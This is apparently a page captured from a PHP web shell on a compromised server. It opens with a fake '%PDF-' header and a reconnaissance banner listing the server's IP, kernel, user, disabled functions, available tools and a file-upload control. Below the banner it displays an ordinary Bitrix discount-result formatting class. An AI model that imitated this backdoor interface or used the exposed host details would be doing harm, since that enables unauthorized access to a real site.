%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.144.42.205 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/discount/result/ |
Upload File : |
<?php namespace Bitrix\Sale\Discount\Result; use Bitrix\Main\Localization\Loc, Bitrix\Sale\Discount; Loc::loadMessages(__FILE__); final class CompatibleFormat { /** * Create simple description for unknown discount. * * @param float $newPrice New price. * @param float $oldPrice Old price. * @param string $currency Currency. * @return array */ public static function createResultDescription($newPrice, $oldPrice, $currency) { return array( Discount\Formatter::prepareRow( Discount\Formatter::TYPE_VALUE, array( 'VALUE_TYPE' => Discount\Formatter::VALUE_TYPE_CURRENCY, 'VALUE' => abs($oldPrice - $newPrice), 'VALUE_UNIT' => $currency, 'VALUE_ACTION' => ( $oldPrice > $newPrice ? Discount\Formatter::VALUE_ACTION_DISCOUNT : Discount\Formatter::VALUE_ACTION_EXTRA ) ) ) ); } /** * Returns result after apply one discount in old format. * * @param array $currentOrder Current order data. * @param array $oldOrder Old order data. * @return array */ public static function getStepResult(array $currentOrder, array $oldOrder) { $result = array(); if (isset($oldOrder['PRICE_DELIVERY']) && isset($currentOrder['PRICE_DELIVERY'])) { if ($oldOrder['PRICE_DELIVERY'] != $currentOrder['PRICE_DELIVERY']) { $descr = self::createResultDescription( $currentOrder['PRICE_DELIVERY'], $oldOrder['PRICE_DELIVERY'], $oldOrder['CURRENCY'] ); $result['DELIVERY'] = array( 'APPLY' => 'Y', 'DELIVERY_ID' => (isset($currentOrder['DELIVERY_ID']) ? $currentOrder['DELIVERY_ID'] : false), 'SHIPMENT_CODE' => (isset($currentOrder['SHIPMENT_CODE']) ? $currentOrder['SHIPMENT_CODE'] : false), 'DESCR' => implode(', ', Discount\Formatter::formatList($descr)), 'DESCR_DATA' => $descr ); unset($descr); } } if (!empty($oldOrder['BASKET_ITEMS']) && !empty($currentOrder['BASKET_ITEMS'])) { foreach ($oldOrder['BASKET_ITEMS'] as $basketCode => $item) { if (!isset($currentOrder['BASKET_ITEMS'][$basketCode])) continue; if ($item['PRICE'] != $currentOrder['BASKET_ITEMS'][$basketCode]['PRICE']) { if (!isset($result['BASKET'])) $result['BASKET'] = array(); $descr = self::createResultDescription( $currentOrder['BASKET_ITEMS'][$basketCode]['PRICE'], $item['PRICE'], $oldOrder['CURRENCY'] ); $result['BASKET'][$basketCode] = array( 'APPLY' => 'Y', 'DESCR' => implode(', ', Discount\Formatter::formatList($descr)), 'DESCR_DATA' => $descr, 'MODULE' => $currentOrder['BASKET_ITEMS'][$basketCode]['MODULE'], 'PRODUCT_ID' => $currentOrder['BASKET_ITEMS'][$basketCode]['PRODUCT_ID'], 'BASKET_ID' => ( isset($currentOrder['BASKET_ITEMS'][$basketCode]['ID']) ? $currentOrder['BASKET_ITEMS'][$basketCode]['ID'] : $basketCode ) ); unset($descr); } } } return $result; } /** * Returns description for old discount. * * @param array $stepResult Action results. * @return array */ public static function getDiscountDescription(array $stepResult) { $result = array(); if (!empty($stepResult['BASKET'])) { $result['BASKET'] = array( 0 => Discount\Formatter::prepareRow( Discount\Formatter::TYPE_SIMPLE, Loc::getMessage('BX_SALE_DISCOUNT_MESS_SIMPLE_DESCRIPTION_BASKET') ) ); } if (!empty($stepResult['DELIVERY'])) { $result['DELIVERY'] = array( 0 => Discount\Formatter::prepareRow( Discount\Formatter::TYPE_SIMPLE, Loc::getMessage('BX_SALE_DISCOUNT_MESS_SIMPLE_DESCRIPTION_DELIVERY') ) ); } if (empty($result)) { $result['BASKET'] = array( 0 => Discount\Formatter::prepareRow( Discount\Formatter::TYPE_SIMPLE, Loc::getMessage('BX_SALE_DISCOUNT_MESS_SIMPLE_DESCRIPTION_UNKNOWN') ) ); } return $result; } }